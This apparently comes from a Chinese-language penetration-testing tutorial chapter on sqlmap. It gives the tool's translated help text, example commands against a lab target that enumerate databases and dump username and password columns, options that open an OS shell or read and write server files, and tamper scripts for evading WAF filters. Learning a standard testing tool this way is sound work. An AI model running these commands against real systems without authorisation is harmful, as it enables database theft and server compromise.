第三章-常用的滲透測試工具-(sqlmap)

落落的学习發表於2024-04-05

常用滲透測試工具

1.sqlmap

支援的資料庫:MySQL、Oracle、PostgreSQL、SQL Server、Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB

支援的六種注入技術:boolean-based盲注、time-based盲注、error-based、UNION查詢、堆疊查詢和帶外查詢

  • B:Boolean-basedblindSQLinjection(布林型注入)
  • E:Error-basedSQLinjection(報錯型注入)
  • U:UNIONquerySQLinjection(聯合查詢注入)
  • S:StackedqueriesSQLinjection(多語句查詢注入)
  • T:Time-basedblindSQLinjection(基於時間延遲注入)
  • Q:InlineSQLInjection(內聯注入)

1.1.幫助文件

第三章-常用的滲透測試工具-(sqlmap)
用法:python sqlmap.py [選項]
選項:
-h, --help 顯示基本幫助資訊並退出
-hh 顯示高階幫助資訊並退出
--version 顯示程式版本資訊並退出
-v VERBOSE 輸出資訊詳細程度級別:0-6(預設為 1)

目標:至少提供一個以下選項以指定目標
-d DIRECT 直接連線資料庫
-u URL, --url=URL 目標 URL(例如:"http://www.site.com/vuln.php?id=1")
-l LOGFILE 從 Burp 或 WebScarab 代理的日誌檔案中解析目標地址
-x SITEMAPURL 從遠端網站地圖(.xml)檔案中解析目標
-m BULKFILE 從文字檔案中獲取批次目標
-r REQUESTFILE 從檔案中讀取 HTTP 請求
-g GOOGLEDORK 使用 Google dork 結果作為目標
-c CONFIGFILE 從 INI 配置檔案中載入選項

請求:以下選項可以指定連線目標地址的方式
--method=METHOD 強制使用提供的 HTTP 方法(例如:PUT)
--data=DATA 使用 POST 傳送資料串
--param-del=PARA.. 設定引數值分隔符
--cookie=COOKIE 指定 HTTP Cookie
--cookie-del=COO.. 設定 cookie 分隔符
--load-cookies=L.. 指定以 Netscape/wget 格式存放 cookies 的檔案
--drop-set-cookie 忽略 HTTP 響應中的 Set-Cookie 引數
--user-agent=AGENT 指定 HTTP User-Agent
--random-agent 使用隨機的 HTTP User-Agent
--host=HOST 指定 HTTP Host
--referer=REFERER 指定 HTTP Referer
-H HEADER, --hea.. 設定額外的 HTTP 頭引數(例如:"X-Forwarded-For: 127.0.0.1")
--headers=HEADERS 設定額外的 HTTP 頭引數(例如:"Accept-Language: fr\nETag: 123")
--auth-type=AUTH.. HTTP 認證方式(Basic,Digest,NTLM 或 PKI)
--auth-cred=AUTH.. HTTP 認證憑證(username:password)
--auth-file=AUTH.. HTTP 認證 PEM 證書/私鑰檔案
--ignore-code=IG.. 忽略 HTTP 錯誤碼(例如:401)
--ignore-proxy 忽略系統預設代理設定
--ignore-redirects 忽略重定向嘗試
--ignore-timeouts 忽略連線超時
--proxy=PROXY 使用代理連線目標 URL
--proxy-cred=PRO.. 使用代理進行認證(username:password)
--proxy-file=PRO.. 從檔案中載入代理列表
--tor 使用 Tor 匿名網路
--tor-port=TORPORT 設定 Tor 代理埠代替預設埠
--tor-type=TORTYPE 設定 Tor 代理方式(HTTP,SOCKS4 或 SOCKS5(預設))
--check-tor 檢查是否正確使用了 Tor
--delay=DELAY 設定每個 HTTP 請求的延遲秒數
--timeout=TIMEOUT 設定連線響應的有效秒數(預設為 30)
--retries=RETRIES 連線超時時重試次數(預設為 3)
--randomize=RPARAM 隨機更改給定的引數值
--safe-url=SAFEURL 測試過程中可頻繁訪問且合法的 URL 地址(譯者注:有些網站在你連續多次訪問錯誤地址時會關閉會話連線,後面的“請求”小節有詳細說明)
--safe-post=SAFE.. 使用 POST 方法傳送合法的資料
--safe-req=SAFER.. 從檔案中載入合法的 HTTP 請求
--safe-freq=SAFE.. 每訪問兩次給定的合法 URL 才傳送一次測試請求
--skip-urlencode 不對 payload 資料進行 URL 編碼
--csrf-token=CSR.. 設定網站用來反 CSRF 攻擊的 token
--csrf-url=CSRFURL 指定可提取反 CSRF 攻擊 token 的 URL
--force-ssl 強制使用 SSL/HTTPS
--hpp 使用 HTTP 引數汙染攻擊
--eval=EVALCODE 在發起請求前執行給定的 Python 程式碼(例如:"import hashlib;id2=hashlib.md5(id).hexdigest()")

最佳化:以下選項用於最佳化 sqlmap 效能
-o 開啟所有最佳化開關
--predict-output 預測常用請求的輸出
--keep-alive 使用持久的 HTTP(S) 連線
--null-connection 僅獲取頁面大小而非實際的 HTTP 響應
--threads=THREADS 設定 HTTP(S) 請求併發數最大值(預設為 1)

注入:以下選項用於指定要測試的引數,提供自定義注入 payloads 和篡改引數的指令碼
-p TESTPARAMETER 指定需要測試的引數
--skip=SKIP 指定要跳過的引數
--skip-static 指定跳過非動態引數
--param-exclude=.. 用正規表示式排除引數(例如:"ses")
--dbms=DBMS 指定 DBMS 型別(例如:MySQL)
--dbms-cred=DBMS.. DBMS 認證憑據(username:password)
--os=OS 指定 DBMS 伺服器的作業系統型別
--invalid-bignum 將無效值設定為大數
--invalid-logical 對無效值使用邏輯運算
--invalid-string 對無效值使用隨機字串
--no-cast 關閉 payload 構造機制
--no-escape 關閉字串轉義機制
--prefix=PREFIX 注入 payload 的字首字串
--suffix=SUFFIX 注入 payload 的字尾字串
--tamper=TAMPER 用給定指令碼修改注入資料

檢測:以下選項用於自定義檢測方式
--level=LEVEL 設定測試等級(1-5,預設為 1)
--risk=RISK 設定測試風險等級(1-3,預設為 1)
--string=STRING 用於確定查詢結果為真時的字串
--not-string=NOT.. 用於確定查詢結果為假時的字串
--regexp=REGEXP 用於確定查詢結果為真時的正規表示式
--code=CODE 用於確定查詢結果為真時的 HTTP 狀態碼
--text-only 只根據頁面文字內容對比頁面
--titles 只根據頁面標題對比頁面

技術:以下選項用於調整特定 SQL 注入技術的測試方法
--technique=TECH 使用的 SQL 注入技術(預設為“BEUSTQ”,譯者注:
    B: Boolean-based blind SQL injection(布林型盲注)
    E: Error-based SQL injection(報錯型注入)
    U: UNION query SQL injection(聯合查詢注入)
    S: Stacked queries SQL injection(堆查詢注入)
    T: Time-based blind SQL injection(時間型盲注)
    Q: inline Query injection(內聯查詢注入)
--time-sec=TIMESEC 延遲 DBMS 的響應秒數(預設為 5)
--union-cols=UCOLS 設定聯合查詢注入測試的列數目範圍
--union-char=UCHAR 用於暴力猜解列數的字元
--union-from=UFROM 設定聯合查詢注入 FROM 處用到的表
--dns-domain=DNS.. 設定用於 DNS 滲出攻擊的域名(譯者注:推薦閱讀《在SQL隱碼攻擊中使用DNS獲取資料》http://cb.drops.wiki/drops/tips-5283.html,在後面的“技術”小節中也有相應解釋)
--second-order=S.. 設定二階響應的結果顯示頁面的 URL(譯者注:該選項用於二階 SQL 注入)

指紋識別:
-f, --fingerprint 執行廣泛的 DBMS 版本指紋識別

列舉:以下選項用於獲取後端資料庫管理系統的資訊,結構和資料表中的資料。此外,還可以執行你輸入的 SQL 語句
-a, --all 獲取所有資訊、資料
-b, --banner 獲取 DBMS banner
--current-user 獲取 DBMS 當前使用者
--current-db 獲取 DBMS 當前資料庫
--hostname 獲取 DBMS 伺服器的主機名
--is-dba 探測 DBMS 當前使用者是否為 DBA(資料庫管理員)
--users 列舉出 DBMS 所有使用者
--passwords 列舉出 DBMS 所有使用者的密碼雜湊
--privileges 列舉出 DBMS 所有使用者特權級
--roles 列舉出 DBMS 所有使用者角色
--dbs 列舉出 DBMS 所有資料庫
--tables 列舉出 DBMS 資料庫中的所有表
--columns 列舉出 DBMS 表中的所有列
--schema 列舉出 DBMS 所有模式
--count 獲取資料表數目
--dump 匯出 DBMS 資料庫表項
--dump-all 匯出所有 DBMS 資料庫表項
--search 搜尋列,表和/或資料庫名
--comments 獲取 DBMS 註釋
-D DB 指定要列舉的 DBMS 資料庫
-T TBL 指定要列舉的 DBMS 資料表
-C COL 指定要列舉的 DBMS 資料列
-X EXCLUDECOL 指定要排除的 DBMS 資料列
-U USER 指定列舉的 DBMS 使用者
--exclude-sysdbs 列舉所有資料表時,指定排除特定系統資料庫
--pivot-column=P.. 指定主列
--where=DUMPWHERE 在轉儲表時使用 WHERE 條件語句
--start=LIMITSTART 指定要匯出的資料表條目開始行數
--stop=LIMITSTOP 指定要匯出的資料表條目結束行數
--first=FIRSTCHAR 指定獲取返回查詢結果的開始字元位
--last=LASTCHAR 指定獲取返回查詢結果的結束字元位
--sql-query=QUERY 指定要執行的 SQL 語句
--sql-shell 調出互動式 SQL shell
--sql-file=SQLFILE 執行檔案中的 SQL 語句

暴力破解:以下選項用於暴力破解測試
--common-tables 檢測常見的表名是否存在
--common-columns 檢測常用的列名是否存在

使用者自定義函式注入:以下選項用於建立使用者自定義函式
--udf-inject 注入使用者自定義函式
--shared-lib=SHLIB 共享庫的本地路徑

訪問檔案系統:以下選項用於訪問後端資料庫管理系統的底層檔案系統
--file-read=RFILE 讀取後端 DBMS 檔案系統中的檔案
--file-write=WFILE 寫入後端 DBMS 檔案系統中的檔案
--file-dest=DFILE 使用檔案絕對路徑寫入到後端 DBMS

訪問作業系統:以下選項用於訪問後端資料庫管理系統的底層作業系統
--os-cmd=OSCMD 執行作業系統命令
--os-shell 調出互動式作業系統 shell
--os-pwn 調出 OOB shell,Meterpreter 或 VNC
--os-smbrelay 一鍵調出 OOB shell,Meterpreter 或 VNC
--os-bof 利用儲存過程的緩衝區溢位
--priv-esc 資料庫程序使用者提權
--msf-path=MSFPATH Metasploit 框架的本地安裝路徑
--tmp-path=TMPPATH 遠端臨時檔案目錄的絕對路徑

訪問 Windows 登錄檔:以下選項用於訪問後端資料庫管理系統的 Windows 登錄檔
--reg-read 讀取一個 Windows 登錄檔鍵值
--reg-add 寫入一個 Windows 登錄檔鍵值資料
--reg-del 刪除一個 Windows 登錄檔鍵值
--reg-key=REGKEY 指定 Windows 登錄檔鍵
--reg-value=REGVAL 指定 Windows 登錄檔鍵值
--reg-data=REGDATA 指定 Windows 登錄檔鍵值資料
--reg-type=REGTYPE 指定 Windows 登錄檔鍵值型別

通用選項:以下選項用於設定通用的引數
-s SESSIONFILE 從檔案(.sqlite)中讀入會話資訊
-t TRAFFICFILE 儲存所有 HTTP 流量記錄到指定文字檔案
--batch 從不詢問使用者輸入,使用預設配置
--binary-fields=.. 具有二進位制值的結果欄位(例如:"digest")
--check-internet 在訪問目標之前檢查是否正常連線網際網路
--crawl=CRAWLDEPTH 從目標 URL 開始爬取網站
--crawl-exclude=.. 用正規表示式篩選爬取的頁面(例如:"logout")
--csv-del=CSVDEL 指定輸出到 CVS 檔案時使用的分隔符(預設為“,”)
--charset=CHARSET 指定 SQL 盲注字符集(例如:"0123456789abcdef")
--dump-format=DU.. 匯出資料的格式(CSV(預設),HTML 或 SQLITE)
--encoding=ENCOD.. 指定獲取資料時使用的字元編碼(例如:GBK)
--eta 顯示每個結果輸出的預計到達時間
--flush-session 清空當前目標的會話檔案
--forms 解析並測試目標 URL 的表單
--fresh-queries 忽略儲存在會話檔案中的查詢結果
--har=HARFILE 將所有 HTTP 流量記錄到一個 HAR 檔案中
--hex 獲取資料時呼叫 DBMS 的 hex 函式
--output-dir=OUT.. 自定義輸出目錄路徑
--parse-errors 從響應中解析並顯示 DBMS 錯誤資訊
--save=SAVECONFIG 將選項設定儲存到一個 INI 配置檔案
--scope=SCOPE 用正規表示式從提供的代理日誌中過濾目標
--test-filter=TE.. 根據 payloads 和/或標題(例如:ROW)選擇測試
--test-skip=TEST.. 根據 payloads 和/或標題(例如:BENCHMARK)跳過部分測試
--update 更新 sqlmap

其他選項:
-z MNEMONICS 使用短助記符(例如:“flu,bat,ban,tec=EU”)
--alert=ALERT 在找到 SQL 注入時執行 OS 命令
--answers=ANSWERS 設定問題答案(例如:“quit=N,follow=N”)
--beep 出現問題提醒或在發現 SQL 注入時發出提示音
--cleanup 指定移除 DBMS 中的特定的 UDF 或者資料表
--dependencies 檢查 sqlmap 缺少什麼(非核心)依賴
--disable-coloring 關閉彩色控制檯輸出
--gpage=GOOGLEPAGE 指定頁碼使用 Google dork 結果
--identify-waf 針對 WAF/IPS/IDS 保護進行徹底的測試
--mobile 使用 HTTP User-Agent 模仿智慧手機
--offline 在離線模式下工作(僅使用會話資料)
--purge-output 安全地刪除輸出目錄的所有內容
--skip-waf 跳過啟發式檢測 WAF/IPS/IDS 保護
--smart 只有在使用啟發式檢測時才進行徹底的測試
--sqlmap-shell 調出互動式 sqlmap shell
--tmp-dir=TMPDIR 指定用於儲存臨時檔案的本地目錄
--web-root=WEBROOT 指定 Web 伺服器根目錄(例如:"/var/www")
--wizard 適合初級使用者的嚮導介面
顯示更多

1.2.常用命令

sqlmap -u "http://sqlmap.com/index.php?id=1" -v 1
  -u 和--url引數一樣 都是代表填寫測試的url連線 如果存在&符號需要新增把url放在雙引號內
  -v 表示 輸出資訊詳細程度級別:0-6(預設為 1)
第三章-常用的滲透測試工具-(sqlmap)
0:只顯示Python回源(tracebacks),錯誤(error)和關鍵(criticle)資訊。
1:同時顯示資訊(info)和警告資訊(warning)(預設為1)
2: 同時顯示除錯資訊(debug)
3:同時顯示注入的有效載荷(payloads)
4:同時顯示http請求
5:同時顯示http響應頭
6:同時顯示http響應內容
顯示更多

級別越高,資訊就越詳細

1.2.1.指定目標

指定某個url進行測試:sqlmap -u http://sqlmap.com/index.php?id=1 -v 1
從檔案中載入http請求測試:sqlmap -r url.txt
從burpsuite或者日誌讀取http包:sqlmap -l post.txt
從文字中獲取多個目標掃描:sqlmap -m url.xt

1.2.2.sqlmap 入門

判斷是否存在注入點:python sqlmap -u http://192.168.1.8/Less-1/?id=1 --batch

查詢當前使用者的所有資料庫:python sqlmap -u http://192.168.1.8/Less-1/?id=1 --batch --dbs

獲取表名(-D:指定資料庫):python sqlmap -u http://192.168.1.8/Less-1/?id=1 --batch -D security --tables

獲取欄位名(-T:指定表):python sqlmap -u http://192.168.1.8/Less-1/?id=1 --batch -D security -T users --columns

獲取欄位內容(-C:指定欄位):python sqlmap -u http://192.168.1.8/Less-1/?id=1 --batch -D security -T users -C "username,password" --dump

獲取資料庫的所有使用者:python sqlmap -u http://192.168.1.8/Less-1/?id=1 --batch --users

獲取資料庫使用者的密碼:python sqlmap -u http://192.168.1.8/Less-1/?id=1 --batch --passwords

--current-db:獲取當前網站資料庫名稱

--current-user:獲取當前網站資料庫的使用者名稱稱

1.3.sqlmap 進階引數

--level:探測等級,5級,Cookie需要2級,UA 頭和 Referer 頭需要3級

--is-dba:當前使用者是否有管理許可權

--roles:檢視資料庫使用者的角色

--referer:偽造 Referer 頭(需要 --level 3 及以上)

--sql-shell:用於執行指定的 SQL 語句

--os-cmd 或 --os-shell:

  --os-cmd:需要當前使用者有許可權,資料庫為MySQL、PostgreSQL、SQL Server

  --os-shell:可以模擬一個真實的 shell,與伺服器進行互動

--file-read:從資料庫伺服器中讀取檔案

--file-write 和 --file-dest:將本地檔案寫入資料庫伺服器(?id=1 --file-write "./1.txt" --file-dest "/tmp/1.txt" -v 1)

1.4.常用 tamper 繞過指令碼

使用:--tamper "模組名"

apostrophemask.py:將引號替換為 UFT-8 格式,用於過濾單引號
base64encode.py:將請求引數進行 base64 編碼
multiplespaces.py:在 SQL 語句的關鍵字中間新增多個空格
space2plus.py:用加號(+)替換空格
monrecursivereplacement.py:用雙重語句替代預定義的SQL 關鍵字(雙寫)
space2randomblank.py:將空格替換為其他有效字元,例如:%09,%0A,%0C,%0D
unionalltounion.py:將 “union all select” 替換為 “union select”
securesphere.py:追加特質的字串
space2hash.py:將空格替換為井字號(#),並新增一個隨機字串和換行符
space2mssqlblank.py:將空格替換為其他空符號
space2mssqlhash.py:將空格替換為井字號,並新增一個換行符
between.py:用 “not between 0 and” 替換大於號,用 “between and” 替換等號
percentage.py:ASP 語言允許在每個字元前新增一個百分號
sp_password.py:將 “sp_password” 追加到 Payload 的末尾
charencode.py:對給定的 Payload 全部字元使用 URL 編碼(不處理已經編碼的字元)
randomcase.py:在SQL語句中,對關鍵字進行隨機大小寫替換
charunicodeencode.py:對 SQL 語句進行字串 unicode 編碼
space2comment.py:將空格替換為 /**/
equaltolike.py:將等號替換為 like
greatest.py:繞過對 “大於號” 的過濾,用 greatest 替換
  • MySQL 4、MySQL 5.0、MySQL 5.5
  • Oracle 10g
  • PostgreSQL 8.3、PostgreSQL 8.4、PostgreSQL 9.0
ifnull2ifisnull.py:繞過對 ifnull 的過濾,將類似 ifnull(A, B) 的資料庫語句替換為 if(isnulll(A), B, A)(MySQL 5.0、5.5)
modsecurityversioned.py:過濾空格,透過 MySQL 內聯註釋的方式進行注入(MySQL 5.0)
space2mysqlblank.py:將空格替換為其他空白符號(MySQL 5.1)
modsecurityzeroversioned.py:透過MySQL內聯註釋的方式(/*!00000*/)進行注入(MySQL 5.0)
space2mysqldash.py:將空格替換為 --,並新增一個換行符
bluecoat.py:在 SQL 語句後用有效的隨機空白符替換空格符,隨後用 like 替換等號(MySQL 5.1,SGOS)
versionedkeywords.py:繞過註釋
halfversionedmorekeywords.py:當資料庫為 MySQL 時,繞過防火牆,在每個關鍵字前新增 MySQL 版本的註釋(MySQL 4.0.18,5.0.22)
space2morehash.py:將空格替換為井字號,並新增一個隨機字串和換行符(MySQL 5.1.41)
apostrophenullencode.py:用非法雙位元組 unicode 字元替換單引號
appendnullbyte.py:在有效負荷的結束偽造載入零位元組字元編碼
chardoubleencode.py:對給定的 payload 全部字元使用雙重 URL 編碼(不處理已經編碼的字元)
unmagicquotes.py:用一個多位元組組合(%bf%27)和末尾通用註釋一起替換空格
randomcomments.py:用 /**/ 分割SQL關鍵字

相關文章